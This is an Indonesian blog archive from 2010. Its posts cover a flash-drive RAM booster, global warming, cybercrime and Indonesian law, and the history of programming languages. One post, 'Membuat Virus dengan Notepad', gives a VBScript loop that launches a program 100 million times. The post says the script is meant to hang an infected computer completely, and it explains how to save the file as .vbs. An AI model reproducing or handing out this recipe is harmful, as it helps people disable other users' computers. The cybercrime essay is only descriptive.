Jumat, 31 Desember 2010

FD sebagai Ram

langkah-langkahnya adalah:
1. Download dulu dari situsnya.(http://www.eboostr.com/download/)
2. Install eBoster
(Prosesnya sama dengan waktu menginstall aplikasi lain)
3. Restart komputer.
4. Jalankan eBoster

5. Ketika ada peringatan “You are running eBoostr for the first time” klik “Yes”

6. Selanjutnya pilih drive flashdisk yang akan digunakan sebagai penambah RAM
7. Atur nilai space yang ingin digunakan untuk penambah RAM.
8. Klik OK
9. Restart komputer

Flashdisk yang telah kita gunakan sebagai penambah RAM masih tetap berfungsi normal (masih bisa dipakai) sebagai media penyimpanan data.

Membuat Virus dengan Notepad

Membuat virus bukanlah merupakan hal yang sulit. Karena, kita dapat membuatnya dengan notepad yang terdapat di semua komputer yang memakai Windows.
Virus yang akan kita buat ini, adalah virus yang membuat komputer yang terinfeksi menjadi tidak bisa berjalan sama sekali.

Let`s Begin!

langkah-langkah:

1. buka notepad
2. copy+paste bahasa pemograman(yang bercetak tebal) di bawah ini:

option explicit

dim wshshell
set wshshell=wscript.createobject("wscript.shell")

dim x
for x = 1 to 100000000
wshshell.run "tourstart.exe"
next


3. Save notepad dengan nama virus.vbs ( pastikan ”save as type” diubah ke ”all files”)
4. Ingat!! jangan klik file tersebut. Karena komputer anda akan dipenuhi oleh 100000000
tourstart yang akan memenuhi layar anda, dan akan membuat komputer hang total
sebelum anda mendelete semuanya.
5. bila ingin mencoba virus ini. silahkan membuat ulang program, dengan perbedaan
ubah 100000000 ke 10, untuk percobaan. maka setelah anda mengklik program.
layar anda akan dipenuhi oleh hanya 10 tourstart saja.

Senin, 22 November 2010

Pemanasan Global


Pemanasan global atau Global Warming adalah adanya proses peningkatan suhurata-rata atmosferlaut, dan daratan Bumi.
Suhu rata-rata global pada permukaan Bumi telah meningkat 0.74 ± 0.18 °C (1.33 ± 0.32 °F) selama seratus tahun terakhir. Intergovernmental Panel on Climate Change(IPCC) menyimpulkan bahwa, "sebagian besar peningkatan suhu rata-rata global sejak pertengahan abad ke-20 kemungkinan besar disebabkan oleh meningkatnya konsentrasi gas-gas rumah kaca akibat aktivitas manusia" melalui efek rumah kaca. Kesimpulan dasar ini telah dikemukakan oleh setidaknya 30 badan ilmiah dan akademik, termasuk semua akademi sains nasional dari negara-negara G8. Akan tetapi, masih terdapat beberapa ilmuwan yang tidak setuju dengan beberapa kesimpulan yang dikemukakan IPCC tersebut.
Model iklim yang dijadikan acuan oleh projek IPCC menunjukkan suhu permukaan global akan meningkat 1.1 hingga 6.4 °C (2.0 hingga 11.5 °F) antara tahun 1990 dan 2100. Perbedaan angka perkiraan itu disebabkan oleh penggunaan skenario-skenario berbeda mengenai emisi gas-gas rumah kaca di masa mendatang, serta model-model sensitivitas iklim yang berbeda. Walaupun sebagian besar penelitian terfokus pada periode hingga 2100, pemanasan dan kenaikan muka air lautdiperkirakan akan terus berlanjut selama lebih dari seribu tahun walaupun tingkat emisi gas rumah kaca telah stabil. Ini mencerminkan besarnya kapasitas panas dari lautan.
Meningkatnya suhu global diperkirakan akan menyebabkan perubahan-perubahan yang lain seperti naiknya permukaan air laut, meningkatnya intensitas fenomena cuaca yang ekstrim, serta perubahan jumlah dan pola presipitasi. Akibat-akibat pemanasan global yang lain adalah terpengaruhnya hasil pertanian, hilangnya gletser, dan punahnya berbagai jenis hewan.
Beberapa hal-hal yang masih diragukan para ilmuwan adalah mengenai jumlah pemanasan yang diperkirakan akan terjadi di masa depan, dan bagaimana pemanasan serta perubahan-perubahan yang terjadi tersebut akan bervariasi dari satu daerah ke daerah yang lain. Hingga saat ini masih terjadi perdebatan politik dan publik di dunia mengenai apa, jika ada, tindakan yang harus dilakukan untuk mengurangi atau membalikkan pemanasan lebih lanjut atau untuk beradaptasi terhadap konsekuensi-konsekuensi yang ada. Sebagian besar pemerintahan negara-negara di dunia telah menandatangani dan meratifikasi Protokol Kyoto, yang mengarah pada pengurangan emisi gas-gas rumah kaca.

Kamis, 18 November 2010

Bahaya Penyalahgunaan Media Internet & Upaya Penanganannya

Catatan dan Peringatan kepada Media elektronik media Internet.

Peringatan Pertama: Jika mengutip tulisan original di media online, harus menulis nara sumbernya minimal menyebutkan nama penulisnya. Hukuman atas pencurian ide dan tulisan itu, hukumannya sangat berat. Termasuk berita, yang disuguhkan harus jelas nara sumbernya, bukan katanya dan katanya.

Bagaimanapun yang kita cari adalah informasi yang layak untuk dibaca dan digunakan untuk kemajuan umat manusia. Mendapat informasi tidak identik dengan mencuri ide orang lain. Dalam UU Pers, ditegaskan mengenai etika pemebritaan suatu kejadian, misalnya sebelum seseorang ditetapkan sebagai tersangka maka nama yang bersangkutan masih disingkat atau di tulis alias. Setelah yang bersangkutan dinyatakan tersangka baru nama aslinya diperbolehkan untuk ditulis dan diketahui oleh umum. Jerat atas kesalahan ini sangat fatal, menyangkut pencemaran nama baik. Sebab apabila berita itu tidak sesuai dengan vonis hukum yang dijatuhkan oleh Kepolisian atau badan hukum lainnya maka oknum pers elektronik, e-media atau media persuratkabaran, wajib meminta maaf kepada si korban dalam bentuk announsment juga.

Masalahnya, masyarakat belum mengetahui hak-haknya terhadap setiap pemberitaan tersebut, termasuk di internet.


o BAHAYA INTERNET.

Jika pemakaian internet disalah gunakan maka akan menimbulkan banyak kerugian kepada umat manusia. Kebutuhan dan penggunaan akan teknologi informasi yang diaplikasikan dengan internet dalam segala bidang seperti e-banking, e-commerce, e-government, e-education dan banyak lagi telah menjadi sesuatu yang lumrah. Internet telah menciptakan dunia baru yang dinamakan cyberspace yaitu sebuah dunia komunuikasi berbasis computer yang menawarkan realitas yang baru berbentuk virtual (tidak langsung dan tidak nyata).

Perkembangan internet yang semakin hari semakin meningkat baik teknologi dan penggunaanya. Mempunyai banyak dampak baik positif maupun negative. Untuk yang bersifat positif, banyak manfaat dan kemudahan yang didapat dari teknologi ini, misalnya kita dapat melakukan transaksi perbankan kapan saja dengan e-banking, e-commerce juga membuat kita mudah melakukan pembelian maupun penjualan suatu barang tanpa mengenal tempat. Mencari referensi atau informasi mengenai ilmu pengetahuan juga bukan hal yang sulit dengan adanya e-library dan banyak lagi kemudahan yang didapatkan dengan perkembangan Internet. Tentunya, tidak dapat dipungkiri bahwa teknologi Internet membawa dampak negatif yang tidak kalah banyak dengan manfaat yang ada. Internet membuat kejahatan yang semula bersifat konvensional seperti pengancaman, pencurian dan penipuan kini dapat dilakukan dengan menggunakan media komputer secara online dengan resiko tertangkap yang sangat kecil oleh individu maupun kelompok dengan akibat kerugian yang lebih besar baik untuk masyarakat maupun negara disamping menimbulkan kejahatan-kejahatan baru.

Banyaknya dampak negatif yang timbul dan berkembang, membuat suatu paradigma bahwa tidak ada komputer yang aman kecuali dipendam dalam tanah sedalam 100 meter dan tidak memiliki hubungan apapun juga. Seperti seorang hacker dapat masuk ke dalam suatu sistem jaringan perbankan untuk mencuri informasi nasabah yang terdapat di dalam server mengenai data base rekening bank tersebut, karena dengan adanya e-banking jaringan tersebut dapat dikatakan terbuka serta dapat diakses oleh siapa saja. Walaupun pencurian data yang dilakukan sering tidak dapat dibuktikan secara kasat mata karena tidak ada data yang hilang tetapi dapat diketahui telah diakses secara illegal dari sistem yang dijalankan.
Tidak kurang menghebohkannya adalah beredarnya gambar-gambar porno hubungan seksual/pornografi, misalnya antara seorang bintang sinetron Sukma Ayu dan Bjah, seorang penyanyi dari group band yang ternama. Gambar-gambar tersebut beredar secara luas di Internet baik melalui e-mail maupun dalam tampilan website yang dapat disaksikan oleh siapa saja secara bebas.
Pengungkapan kejahatan ini masih sangat kecil sekali, dikarenakan banyak kendala dan hambatan yang dihadapi dalam upaya pengungkapannya. Saat ini, bagi mereka yang senang akan perjudian dapat juga melakukannya dari rumah atau kantor hanya dengan mengakses situs www.indobetonline.com atau www.tebaknomor.com dan banyak lagi situs sejenis yang menyediakan fasilitas tersebut dan memanfaatkan fasilitas Internet banking untuk pembayarannya. E-commerce tidak sedikit membuka peluang bagi terjadinya tindak pidana penipuan, seperti yang dilakukan oleh sekelompok pemuda di Medan yang memasang iklan di salah satu website terkenal “Yahoo” dengan seolah-olah menjual mobil mewah Ferrary dan Lamborghini dengan harga murah sehingga menarik minat seorang pembeli dari Kuwait. Perbuatan tersebut dapat dilakukan tanpa adanya hubungan terlebih dahulu antara penjual dan pembeli, padahal biasanya untuk kasus penipuan terdapat hubungan antara korban atau tersangka.
Dunia perbankan melalui Internet (ebanking) Indonesia, dikejutkan oleh ulah seseorang bernama Steven Haryanto, seorang hacker dan jurnalis pada majalah Master Web. Lelaki asal Bandung ini dengan sengaja membuat situs asli tapi palsu layanan Internet banking Bank Central Asia, (BCA). Steven membeli domain-domain dengan nama mirip www.klikbca.com (situs asli Internet banking BCA), yaitu domain wwwklik-bca.com, kilkbca.com, clikbca.com, klickca.com. dan klikbac.com. Isi situs-situs plesetan inipun nyaris sama, kecuali tidak adanya security untuk bertransaksi dan adanya formulir akses (login form) palsu. Jika nasabah BCA salah mengetik situs BCA asli maka nasabah tersebut masuk perangkap situs plesetan yang dibuat oleh Steven sehingga identitas pengguna (user id) dan nomor identitas personal (PIN) dapat di ketahuinya. Diperkirakan, 130 nasabah BCA tercuri datanya. Menurut pengakuan Steven pada situs bagi para webmaster di Indonesia, www.webmaster.or.id.

Selain carding, masih banyak lagi kejahatan yang memanfaatkan Internet. Tentunya masih hangat dalam pikiran kita saat seorang hacker bernama Dani Hermansyah, pada tanggal 17 April 2004 melakukan deface (Deface disini berarti mengubah atau mengganti tampilan suatu website) dengan mengubah nama-nama partai yang ada dengan nama-nama buah dalam website www.kpu.go.id, yang mengakibatkan berkurangnya kepercayaan masyarakat terhadap pemilu yang sedang berlangsung pada saat itu. Dikhawatirkan, selain nama–nama partai yang diubah bukan tidak mungkin angka-angka jumlah pemilih yang masuk di sana menjadi tidak aman dan dapat diubah, padahal dana yang dikeluarkan untuk sistem teknologi informasi yang digunakan oleh KPU sangat besar sekali.

Teknik lain adalah yang memanfaatkan celah sistem keamanan server alias hole Cross Server Scripting (XXS) yang ada pada suatu situs. XXS adalah kelemahan aplikasi di server yang memungkinkan user atau pengguna menyisipkan baris-baris perintah lainnya. Biasanya perintah yang disisipkan adalah Javascript sebagai jebakan, sehingga pembuat hole bisa mendapatkan informasi data pengunjung lain yang berinteraksi di situs tersebut. Makin terkenal sebuah website yang mereka deface, makin tinggi rasa kebanggaan yang didapat. Teknik ini pulalah yang menjadi andalan saat terjadi cyberwar antara hacker Indonesia dan hacker Malaysia, yakni perang di dunia maya yang identik dengan perusakan website pihak lawan.

PEMBAHASAN

Dari kasus yang telah terjadi diatas dapat diketahui bahwa kejahatan ini tidak mengenal batas wilayah (borderless) serta waktu kejadian karena korban dan pelaku sering berada di negara yang berbeda. Semua aksi itu dapat dilakukan hanya dari depan komputer yang memiliki akses Internet tanpa takut diketahui oleh orang lain/saksi mata, sehingga kejahatan ini termasuk dalam Transnational Crime/kejahatan antar negara yang pengungkapannya sering melibatkan penegak hukum lebih dari satu negara. Mencermati hal tersebut dapatlah disepakati bahwa kejahatan IT/Cybercrime memiliki karakter yang berbeda dengan tindak pidana umum baik dari segi pelaku, korban, modus operandi dan tempat kejadian perkara sehingga butuh penanganan dan pengaturan khusus di luar KUHP.

Perkembangan teknologi informasi yang demikian pesatnya haruslah diantisipasi dengan hukum yang mengaturnya dimana kepolisian merupakan lembaga aparat penegak hukum yang memegang peranan penting didalam penegakan hukum, sebab tanpa adanya hukum yang mengatur dan lembaga yang menegakkan maka dapat menimbulkan kekacauan didalam perkembangannya. Dampak negative tersebut menimbulkan suatu kejahatan yang dikenal dengan nama “CYBERCRIME” yang tentunya harus diantisipasi dan ditanggulangi.

Menjawab tuntutan dan tantangan komunikasi global lewat Internet, Undang-Undang yang diharapkan (ius konstituendum) adalah perangkat hukum yang akomodatif terhadap perkembangan serta antisipatif terhadap permasalahan, termasuk dampak negatif penyalahgunaan Internet dengan berbagai motivasi yang dapat menimbulkan korban-korban seperti kerugian materi dan non materi. Saat ini, Indonesia belum memiliki Undang-Undang khusus/cyber law yang mengatur mengenai cybercrime walaupun rancangan undang-undang tersebut sudah ada sejak tahun 2000 dan revisi terakhir dari rancangan undang-undang tindak pidana di bidang teknologi informasi sejak tahun 2004 sudah dikirimkan ke Sekretariat Negara RI oleh Departemen Komunikasi dan Informasi serta dikirimkan ke DPR namun dikembalikan kembali ke Departemen Komunikasi dan Informasi untuk diperbaiki. Tetapi, terdapat beberapa hukum positif lain yang berlaku umum dan dapat dikenakan bagi para pelaku cybercrime terutama untuk kasus-kasus yang menggunakan komputer sebagai sarana, antara lain:

a. Kitab Undang Undang Hukum Pidana

Dalam upaya menangani kasus-kasus yang terjadi, para penyidik melakukan analogi atau perumpamaan dan persamaaan terhadap pasal-pasal yang ada dalam KUHP. Pasal-pasal didalam KUHP biasanya digunakan lebih dari satu Pasal karena melibatkan beberapa perbuatan sekaligus pasal-pasal yang dapat dikenakan dalam KUHP pada cybercrime antara lain :

1) Pasal 362 KUHP yang dikenakan untuk kasus carding dimana pelaku mencuri nomor kartu kredit milik orang lain walaupun tidak secara fisik karena hanya nomor kartunya saja yang diambil dengan menggunakan software card generator di Internet untuk melakukan transaksi di e-commerce. Setelah dilakukan transaksi dan barang dikirimkan, kemudian penjual yang ingin mencairkan uangnya di bank ternyata ditolak karena pemilik kartu bukanlah orang yang melakukan transaksi.

2) Pasal 378 KUHP dapat dikenakan untuk penipuan dengan seolah-olah menawarkan dan menjual suatu produk atau barang dengan memasang iklan di salah satu website sehingga orang tertarik untuk membelinya lalu mengirimkan uang kepada pemasang iklan. Tetapi, pada kenyataannya, barang tersebut tidak ada. Hal tersebut diketahui setelah uang dikirimkan dan barang yang dipesankan tidak datang sehingga pembeli tersebut menjadi tertipu.

3) Pasal 335 KUHP dapat dikenakan untuk kasus pengancaman dan pemerasan yang dilakukan melalui e-mail yang dikirimkan oleh pelaku untuk memaksa korban melakukan sesuatu sesuai dengan apa yang diinginkan oleh pelaku dan jika tidak dilaksanakan akan membawa dampak yang membahayakan. Hal ini biasanya dilakukan karena pelaku biasanya mengetahui rahasia korban.

4) Pasal 311 KUHP dapat dikenakan untuk kasus pencemaran nama baik dengan menggunakan media Internet. Modusnya adalah pelaku menyebarkan e-mail kepada teman-teman korban tentang suatu cerita yang tidak benar atau mengirimkan e-mail ke suatu mailing list sehingga banyak orang mengetahui cerita tersebut.

5) Pasal 303 KUHP dapat dikenakan untuk menjerat permainan judi yang dilakukan secara online di Internet dengan penyelenggara dari Indonesia.

6) Pasal 282 KUHP dapat dikenakan untuk penyebaran pornografi maupun website porno yang banyak beredar dan mudah diakses di Internet. Walaupun berbahasa Indonesia, sangat sulit sekali untuk menindak pelakunya karena mereka melakukan pendaftaran domain tersebut diluar negri dimana pornografi yang menampilkan orang dewasa bukan merupakan hal yang ilegal.

7) Pasal 282 dan 311 KUHP dapat dikenakan untuk kasus penyebaran foto atau film pribadi seseorang yang vulgar di Internet , misalnya kasus Sukma Ayu-Bjah.

8) Pasal 378 dan 262 KUHP dapat dikenakan pada kasus carding, karena pelaku melakukan penipuan seolah-olah ingin membeli suatu barang dan membayar dengan kartu kreditnya yang nomor kartu kreditnya merupakan curian.

9) Pasal 406 KUHP dapat dikenakan pada kasus deface atau hacking yang membuat sistem milik orang lain, seperti website atau program menjadi tidak berfungsi atau dapat digunakan sebagaimana mestinya.

b. Undang-Undang No 19 Tahun 2002 tentang Hak Cipta.

Menurut Pasal 1 angka (8) Undang-Undang No 19 Tahun 2002 tentang Hak Cipta, program komputer adalah sekumpulan intruksi yang diwujudkan dalam bentuk bahasa, kode, skema ataupun bentuk lain yang apabila digabungkan dengan media yang dapat dibaca dengan komputer akan mampu membuat komputer bekerja untuk melakukan fungsi-fungsi khusus atau untuk mencapai hasil yang khusus, termasuk persiapan dalam merancang intruksi-intruksi tersebut. Hak cipta untuk program komputer berlaku selama 50 tahun (Pasal 30). Harga program komputer/software yang sangat mahal bagi warga negara Indonesia merupakan peluang yang cukup menjanjikan bagi para pelaku bisnis guna menggandakan serta menjual software bajakan dengan harga yang sangat murah. Misalnya, program anti virus seharga $ 50 dapat dibeli dengan harga Rp20.000,00. Penjualan dengan harga sangat murah dibandingkan dengan software asli tersebut menghasilkan keuntungan yang sangat besar bagi pelaku sebab modal yang dikeluarkan tidak lebih dari Rp 5.000,00 perkeping. Maraknya pembajakan software di Indonesia yang terkesan “dimaklumi” tentunya sangat merugikan pemilik hak cipta. Tindakan pembajakan program komputer tersebut juga merupakan tindak pidana sebagaimana diatur dalam Pasal 72 ayat (3) yaitu “Barang siapa dengan sengaja dan tanpa hak memperbanyak penggunaan untuk kepentingan komersial suatu program komputer dipidana dengan pidana penjara paling lama 5 (lima) tahun dan/atau denda paling banyak Rp500.000.000,00 (lima ratus juta rupiah) “.

c. Undang-Undang No 36 Tahun 1999 tentang Telekomunikasi

Menurut Pasal 1 angka (1) Undang-Undang No 36 Tahun 1999, Telekomunikasi adalah setiap pemancaran, pengiriman, dan/atau penerimaan dan setiap informasi dalam bentuk tanda-tanda, isyarat, tulisan, gambar, suara, dan bunyi melalui sistem kawat, optik, radio, atau sistem elektromagnetik lainnya. Dari definisi tersebut, maka Internet dan segala fasilitas yang dimilikinya merupakan salah satu bentuk alat komunikasi karena dapat mengirimkan dan menerima setiap informasi dalam bentuk gambar, suara maupun film dengan sistem elektromagnetik.

Penyalahgunaan Internet yang mengganggu ketertiban umum atau pribadi dapat dikenakan sanksi dengan menggunakan Undang-Undang ini, terutama bagi para hacker yang masuk ke sistem jaringan milik orang lain sebagaimana diatur pada Pasal 22, yaitu Setiap orang dilarang melakukan perbuatan tanpa hak, tidak sah, atau memanipulasi:

a) Akses ke jaringan telekomunikasi

b) Akses ke jasa telekomunikasi

c) Akses ke jaringan telekomunikasi khusus

Apabila seseorang melakukan hal tersebut seperti yang pernah terjadi pada website KPU www.kpu.go.id, maka dapat dikenakan Pasal 50 yang berbunyi “Barang siapa yang melanggar ketentuan sebagaimana dimaksud dalam Pasal 22, dipidana dengan pidana penjara paling lama 6 (enam) tahun dan/atau denda paling banyak Rp600.000.000,00 (enam ratus juta rupiah)”

d. Undang-Undang No 8 Tahun 1997 tentang Dokumen Perusahaan

Dengan dikeluarkannya Undang-Undang No. 8 Tahun 1997 tanggal 24 Maret 1997 tentang Dokumen Perusahaan, pemerintah berusaha untuk mengatur pengakuan atas mikrofilm dan media lainnya (alat penyimpan informasi yang bukan kertas dan mempunyai tingkat pengamanan yang dapat menjamin keaslian dokumen yang dialihkan atau ditransformasikan). Misalnya Compact Disk -Read Only Memory (CD -ROM), dan Write -Once Read -Many (WORM), yang diatur dalam Pasal 12 Undang-Undang tersebut sebagai alat bukti yang sah.

e. Undang-Undang No 25 Tahun 2003 tentang Perubahan atas Undang-Undang No. 15 Tahun 2002 Tentang Tindak Pidana Pencucian Uang.

Undang-Undang ini merupakan Undang-Undang yang paling ampuh bagi seorang penyidik untuk mendapatkan informasi mengenai tersangka yang melakukan penipuan melalui Internet, karena tidak memerlukan prosedur birokrasi yang panjang dan memakan waktu yang lama, sebab penipuan merupakan salah satu jenis tindak pidana yang termasuk dalam pencucian uang (Pasal 2 Ayat (1) Huruf q). Penyidik dapat meminta kepada bank yang menerima transfer untuk memberikan identitas dan data perbankan yang dimiliki oleh tersangka tanpa harus mengikuti peraturan sesuai dengan yang diatur dalam Undang-Undang Perbankan.

Dalam Undang-Undang Pencucian Uang proses tersebut lebih cepat karena Kapolda cukup mengirimkan surat kepada Pemimpin Bank Indonesia di daerah tersebut dengan tembusan kepada Kapolri dan Gubernur Bank Indonesia, sehingga data dan informasi yang dibutuhkan lebih cepat didapat dan memudahkan proses penyelidikan terhadap pelaku, karena data yang diberikan oleh pihak bank, berbentuk: aplikasi pendaftaran, jumlah rekening masuk dan keluar serta kapan dan dimana dilakukan transaksi maka penyidik dapat menelusuri keberadaan pelaku berdasarkan data–data tersebut.
Undang-Undang ini juga mengatur mengenai alat bukti elektronik atau digital evidence sesuai dengan Pasal 38 huruf b yaitu alat bukti lain berupa informasi yang diucapkan, dikirimkan, diterima, atau disimpan secara elektronik dengan alat optik atau yang serupa dengan itu.

f. Undang-Undang No 15 Tahun 2003 tentang Pemberantasan Tindak Pidana Terorisme
Selain Undang-Undang No. 25 Tahun 2003, Undang-Undang ini mengatur mengenai alat bukti elektronik sesuai dengan Pasal 27 huruf b yaitu alat bukti lain berupa informasi yang diucapkan, dikirimkan, diterima, atau disimpan secara elektronik dengan alat optik atau yang serupa dengan itu. Digital evidence atau alat bukti elektronik sangatlah berperan dalam penyelidikan kasus terorisme, karena saat ini komunikasi antara para pelaku di lapangan dengan pimpinan atau aktor intelektualnya dilakukan dengan memanfaatkan fasilitas di Internet untuk menerima perintah atau menyampaikan kondisi di lapangan karena para pelaku mengetahui pelacakan terhadap Internet lebih sulit dibandingkan pelacakan melalui handphone. Fasilitas yang sering digunakan adalah e-mail dan chat room selain mencari informasi dengan menggunakan search engine serta melakukan propaganda melalui bulletin board atau mailing list.

Selasa, 09 November 2010

Evolusi Bahasa Pemrograman

  • Plankalkul
Bahasa pemrograman juga sudah ada pada sekitar  tahun 1945 yang bernama Plankalkul yang dibuat oleh ilmuwan Jerman bernama Konrad Zuse ( baca : Tsoo zuh), namun belum sempat diterapkan karena kondisi pada saat itu  sedang perang.
  • Pseudo-code
Pseudo-code adalah kode atau tanda yang menyerupai (pseudo) atau merupakan penjelasan cara menyelesaikan suatu masalah.Pseudo-code sering digunakan oleh seseorang untuk menuliskan algoritma dari suatu permasalahan.Pseudo-code berisikan langkah-langkah untuk menyelesaikan suatu permasalahan (hampir sama dengan algoritma), hanya saja bentuknya sedikit berbeda dari algoritma.
Pseudo-code menggunakan bahasa yang hampir menyerupai bahasa pemrograman. Selain itu biasanya pseudo-code menggunakan bahasa yang mudah dipahami secara universal dan juga lebih ringkas dari pada algoritma.
  • Laning dan Zierler System
Bahasa ini diimplementasikan pada komputer Whilwind – MIT. Laning dan Zierler System merupakan bahasa yang menggunakan system compiler pertama di dunia. Selain itu bahasa ini juga mempunyai fasilitas translasi ekspresi dan pemanggilan fungsi. Kelemahannya adalah bahasa ini tidak pernah diporting ke mesin lain.
  • Fortran I
Pada tahun 1954, John Backus dan IBM mulai mengembangkan bahasa pemrograman FORTRAN (FORmula TRANslator). Bahasa FORTRAN merupakan bahasa pemrograman level tinggi pertama yang dikomersialkan. Pemrograman level tinggi maksudnya adalah perintah atau kodenya mudah dibaca dan dipahami oleh manusia. FORTRAN pada mulanya didesain untuk mengekspresikan humus matematika dan maiz merupakan bahasa matematika yang paling banyak digunakan. Bahasa ini juga berguna untuk aplikasi bisnis yang kompleks, seperti perkiraan (forecasting) dan pemodelan. Namur karena tidak mampu manangani operasi input/output atau pemrosesan file dalam volume besar, maka bahasa FORTRAN tidak digunakan untuk masalah bisnis yang biasa.
Pseudo-code & flowchart
Kerugian :
-         FORTRAN tidak menangani operasi input dan output pada peralatan penyimpanan seefisien bahasa lain yang levelnya lebih tinggi
-         Memiliki keterbatasan untuk mengekspresikan dan memproses data nonnumerik
-         Tidak bisa dibaca atau dipahami semudah bahasa level tinggi yang lain.
Keuntungan : FORTRAN bisa menangani ekspresi matematika dan logika yang kompleks. Pernyataanya cukup pendek dan sederhana.
  • Fortran II
Pada tahun 1958, FORTRAN II dan ALGOL dipublikasikan bersamaan dengan diluncurkannya LISP. Sedangkan pada tahun 1959, bahasa pemrograman COBOL juga diluncurkan. Sejak saat itu perkembangan bahasa pemrograman berkembang sangat cepat.
Merupakan perbaikan dari generasi sebelumnya yaitu FORTRAN I. hal yang membedakan antara FORTRAN II dengan FORTRAN I adalah mengenai compilationnya. Dimana kita tahu pada FORTRAN I compilationnya tidak terpisah, sedangkan pada FORTRAN II ini compilationnya terpisah.
  • FORTRAN IV (1962)
Bahasa ini menggunakan deklarasi tipe eksplisif serta logical selection statement (Logical IF). Subprogram dapat menjadi  parameter. FORTRAN IV kemudian menjadi standar ANSI pada tahun 1968.
  • FORTRAN 77 (1978)
Secara umum, FORTRAN 77 merupakan perkembangan ke arah pemrograman terstruktur dibandingkan FORTRAN IV. Misalnya struktur IF THEN – ELSE – END IF yang semula belum ada pada FORTRAN IV mulai dimasukkan pada FORTRAN 77.
Tambahan fasilitas baru lainnya :
- Adanya variabel berjenis karakter (dengan spesifikasi CHARACTER) beserta fungsi-fungsi bawaannya (intrinsic function)
- Fasilitas penanganan unit input dan output (OPEN, CLOSE, INQUIRE)
- Pendemensian larik dengan indeks yang tidak harus positif (bisa nol atau negatif)
  • FORTRAN 90  (1990)
FORTRAN 90 sudah menggunakan modul-modul dengan akses private maupun public. Terdapat array dinamik. record dan pointer. FORTRAN 90 juga bersifat rekursif. Terdapat statement CASE, EXIT, dan CYCLE. Serta pengecekan tipe parameter.
  • LISP ( 1959 )
LISP (LISt Processing) dispesifikasikan John McCarthy pada tahun 1950. Mulanya LISP dimaksudkan sebagai model komputasi alternatif berdasarkan teori fungsi/persamaan rekursif.
Tujuan McCarthy adalah sebagai berikut:
- Menciptakan bahasa untuk komputasi simbolik bukan numerik.
- Implementasi model komputasi berdasarkan teori fungsi rekursif.
- Menyediakan definisi sintaks dan simantiks bahasa yang bersih.
- Mendemonstrasikan secara formal kelengkapan model komputasi ini.
Selain sebagai formalisasi matematika, LISP merupakan bahasa pemrograman yang praktis. LISP sesuai namanya LISt Processing dirancang untuk menyediakan kemampuan manipulasi simbol untuk menangani masalah pemrograman yang melibatkan banyak manipulasi simbolik.
Pada LISP, list adalah basis program dan struktur data. LISP menyediakan fungsi-fungsi penanganan list yang diimplementasikan secara internal sebagai struktur pointer berkait. Program dapat menggunakan keampuhan dan generalitas penuh struktur berkait dengan bebas dari tangungjawab mengelola pointer dan operasi-operasi pointer secara eksplisit.
Mulanya LISP adalah bahasa yang sangat kecil dan sederhana, yaitu:
- Fungsi untuk membentuk dan mengakses list
- Mendefinisikan fungsi baru
- Mendeteksi kesamaan
- Evaluasi ekspresi
- Kendali Program: Rekursi dan Kondisi tunggal
Selain itu, adanya penambahan pada LISP yaitu :
- Fungsi untuk penstrukturan data
- Kendali program
- Aritmatika real dan integer
- I/O
- Penyuntingan fungsi LISP
- Penelusuran eksekusi program.
LISP berkembang menjadi lingkungan yang kaya, ampuh dan praktis untukmembangun sistem perangkat lunak besar. Pada tahun 1993, DARPA mengusulkan standarisasi disebut Common LISP.
LISP merupakan bahasa yang memiliki fitur unik. Bahasa LISP menjadi media yang luar biasa untuk mempelajari bentukan-bentukan pemrograman dan struktur data serta menghubungkannya ke fitur-fitur bahasa yang mendukungnya.
Fitur paling berarti adalah deskripsi proses di LISP yang disebut procedure dapat direpresentasikan dan dimanipulasi sebagai data.
Pentingnya hal ini adalah bahwa teknik-teknik perancangan program yang ampuh yang bergantung pada pengaburan antara data “pasif” dan proses “aktif”.
Fleksibilitas LISP dalam menangani prosedur sebagai data membuatnya menjadi bahasa yang cocok untuk eksplorasi teknik-teknik pengaburan.
Kemampuan merepresentasi prosedur sebagai data juga membuat LISP merupakan bahasa luar biasa untuk menulis program yang harus memanipulasi program lain sebagai data seperti interpreter atau kompilator yang mendukung bahasa pemrograman.
  • ALGOL 58
Alasan dikembangkannya ALGOL 58 :
  1. FORTRAN terbatas untuk mesin IBM 70x.
  2. Bahasa-bahasa yang lain juga dikembangkan tetapi hanya untuk mesin tertentu.
  3. Tidak terdapat bahasa yang portable, semuanya bergantung pada mesin
  4. Tidak terdapat bahasa yang universal.
Tujuan dari bahasa ALGOL adalah bahasa ini mendekati notasi matematika, baik untuk mendeskripsikan algoritma, dan harus dapat ditranslasikan ke kode mesin.Fitur dari bahasa ALGOL :
  1. Menggunakan konsep tipe data secara formal.
  2. Nama variable tidak terbatas panjangnya.
  3. Index array tidak terbatas.
  4. Parameter dipisahkan oleh modenya (in dan out).
  5. Index ditempatkan dalam bracket (tanda [ ]).
  6. Mendukung compound statement (pernyataan majemuk) (begin…end).
  7. Tanda semicolon (titik koma, merupakan pemisah antar statement.
  8. Menggunakan operator assignment :=
  9. Statement IF mempunyai ELSE-IF (nested-IF)
  • ALGOL 60
Fitur baru pada ALGOL 6 adalah:
  1. Block structure (local scope).
  2. 2 model passing parameter (by name dan by value).
  3. Rekursi subprogram.
  4. Stack-dynamic array.
Meskipun ALGOL 60 merupakan penyempurnaan dari ALGOL 58 tetap saja ALGOL 60 belum mempunyai I/O dan string handling. Bahasa ini merupakan bahasa pertama yang syntaxnya didefinisikan secara formal. (Menggunakan BNF- Backus Naur Form/ Backus Normal Form). Karena dominasi FORTRAN di Amerika dan syntaxnya formal bahasa ini tidak dipakai secara luas.
  • COBOL (1960)
Singkatan dari COmmon Business Oriented Language. Tujuan desain COBOL adalah:
  1. Harus seperti bahasa Inggris yang sederhana.
  2. Mudah untuk digunakan.
  3. Harus dapat dipergunakan secara luas.
  4. Harus terbebas dari masalah implementasi compiler.
  5. Kontribusi terhadap perkembangan bahasa pemrograman :
  6. Fasilitas makro yang pertama dalam bahasa tingkat tinggi.
  7. Struktur data hirarki (record).
  8. Statement kondisi bersarang (nested selection statements).
  9. Nama variable dapat mencapai 30 karakter.
  10. Pembagian data.
  • BASIC (1964)
Beginners All-purpose Symbolic Instruction Code dibuat oleh John Kemeny dan Thomas Kurtz. Walaupun struktur program ini jelek tetapi bahasa ini tergolong mudah untuk dipelajari. Dialek dari BASIC yang sekarang populer adalah  QuickBASIC dan Visual BASIC.
  • Pascal (1971)
